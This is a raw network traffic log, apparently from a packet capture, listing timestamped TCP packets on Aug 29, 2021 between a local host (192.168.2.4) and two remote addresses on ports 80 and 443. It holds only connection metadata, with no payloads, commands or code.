Aug 29, 2021 22:27:24.821903944 CEST	80	49767	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:24.822128057 CEST	80	49767	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:24.822143078 CEST	80	49767	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:24.833976030 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.834043980 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.834203959 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.834309101 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.834350109 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.834359884 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.834364891 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.834389925 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.834407091 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.834430933 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.834444046 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.834461927 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.834928036 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.834961891 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.834989071 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.835001945 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.835026026 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.835031986 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.835048914 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.835102081 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.839132071 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.839179993 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.839205980 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.839230061 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.839284897 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.839320898 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.839467049 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.839494944 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.839515924 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.839529037 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.839538097 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.839557886 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.839569092 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.839608908 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.840342999 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.840372086 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.840393066 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.840406895 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.840415955 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.840437889 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.840471029 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.840518951 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.841147900 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.841175079 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.841197014 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.841211081 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.841237068 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.841259003 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.841264009 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.841283083 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.842200041 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.842226028 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.842250109 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.842264891 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.842291117 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.842299938 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.842329025 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.842864990 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.842891932 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.842916012 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.842928886 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.842952967 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.842973948 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.843009949 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.843715906 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.843741894 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.843764067 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.843790054 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.843812943 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.843858957 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.844608068 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.844669104 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.844731092 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.844770908 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.844785929 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.844820976 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.844855070 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.844913960 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.845361948 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.845431089 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.845485926 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.845529079 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.845995903 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.846036911 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.846055031 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.846071005 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.846184015 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.846636057 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.846667051 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.846716881 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.846734047 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.846781015 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.846796989 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.846837997 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.846890926 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.847440958 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.847466946 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.847487926 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.847513914 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.847521067 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.847577095 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.851425886 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.851449966 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.851526022 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.851547003 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.851560116 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.851586103 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.851608038 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.851615906 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.851650953 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.852516890 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.852585077 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.852638960 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.852674961 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.852724075 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.852783918 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.852807999 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.852863073 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.853291035 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.853353977 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.853398085 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.853415966 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.853465080 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.853533983 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.853549004 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.853589058 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.854063988 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.854126930 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.854165077 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.854216099 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.854247093 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.854300976 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.854327917 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.854393005 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.856178999 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.856249094 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.856283903 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.856313944 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.856360912 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.856420994 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.856450081 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.856513023 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.856543064 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.856599092 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.856628895 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.856683969 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.856710911 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.856769085 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.856796980 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.856851101 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.857404947 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.857481003 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.857513905 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.857587099 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.857649088 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.857706070 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.857752085 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.857801914 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.858154058 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.858220100 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.858262062 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.858311892 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.858355045 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.858407974 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.858450890 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.858500004 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.858911991 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.858980894 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.859016895 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.859069109 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.859136105 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.859205008 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.859262943 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.859323978 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.859702110 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.859769106 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.859822035 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.859889984 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.859930038 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.859986067 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.860038042 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.860094070 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.860306025 CEST	80	49767	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:24.860414982 CEST	49767	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:24.860491037 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.860553026 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.860584974 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.860630989 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.860666990 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.860716105 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.860748053 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.860796928 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.861246109 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.861310959 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.861339092 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.861382961 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.861418962 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.861464977 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.861500025 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.861546040 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.862051964 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.862121105 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.862174988 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.862221003 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.862247944 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.862293005 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.862314939 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.862354994 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.862814903 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.862869978 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.862885952 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.862924099 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.862940073 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.862982988 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.862998962 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.863043070 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.863610029 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.863666058 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.863693953 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.863714933 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.863739014 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.863776922 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.863791943 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.863831043 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.864384890 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.864434958 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.864448071 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.864487886 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.864500999 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.864540100 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.864554882 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.864610910 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.865187883 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.865242958 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.865262985 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.865295887 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.865315914 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.865334988 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.865355968 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.865394115 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.866003036 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.866036892 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.866067886 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.866076946 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.866085052 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.866105080 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.866132021 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.866174936 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.866787910 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.866812944 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.866832972 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.866858959 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.866874933 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.866903067 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.866915941 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.866941929 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.867538929 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.867573977 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.867592096 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.867620945 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.867631912 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.867659092 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.867670059 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.867701054 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.867707968 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.867738962 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.868480921 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.868514061 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.868541956 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.868555069 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.868568897 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.868588924 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.868611097 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.868643045 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.868654966 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.868680954 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.869421005 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.869457960 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.869497061 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.869532108 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.869560003 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.869581938 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.869601965 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.869640112 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.870326996 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.870354891 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.870383978 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.870392084 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.870399952 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.870424986 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.870446920 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.870475054 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.870486021 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.870517015 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.870851994 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.870873928 CEST	443	49769	162.159.134.233	192.168.2.4
Aug 29, 2021 22:27:24.870906115 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:24.870918989 CEST	49769	443	192.168.2.4	162.159.134.233
Aug 29, 2021 22:27:25.190562963 CEST	49767	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:25.192490101 CEST	49770	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:25.226001024 CEST	80	49767	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:25.226157904 CEST	49767	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:25.227152109 CEST	80	49770	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:25.227293015 CEST	49770	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:25.227890968 CEST	49770	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:25.228162050 CEST	49770	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:25.228411913 CEST	49770	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:25.228549957 CEST	49770	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:25.262725115 CEST	80	49770	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:25.262768984 CEST	80	49770	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:25.263215065 CEST	80	49770	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:25.263236046 CEST	80	49770	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:25.263252974 CEST	80	49770	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:25.263346910 CEST	49770	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:25.263407946 CEST	49770	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:25.263423920 CEST	80	49770	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:25.263546944 CEST	49770	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:25.263644934 CEST	80	49770	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:25.263659954 CEST	80	49770	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:25.263720036 CEST	49770	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:25.263787985 CEST	49770	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:25.298342943 CEST	80	49770	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:25.298367977 CEST	80	49770	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:25.298384905 CEST	80	49770	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:25.298401117 CEST	80	49770	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:25.298413992 CEST	80	49770	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:25.298468113 CEST	49770	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:25.298510075 CEST	49770	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:25.298549891 CEST	49770	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:25.298561096 CEST	80	49770	46.17.96.36	192.168.2.4
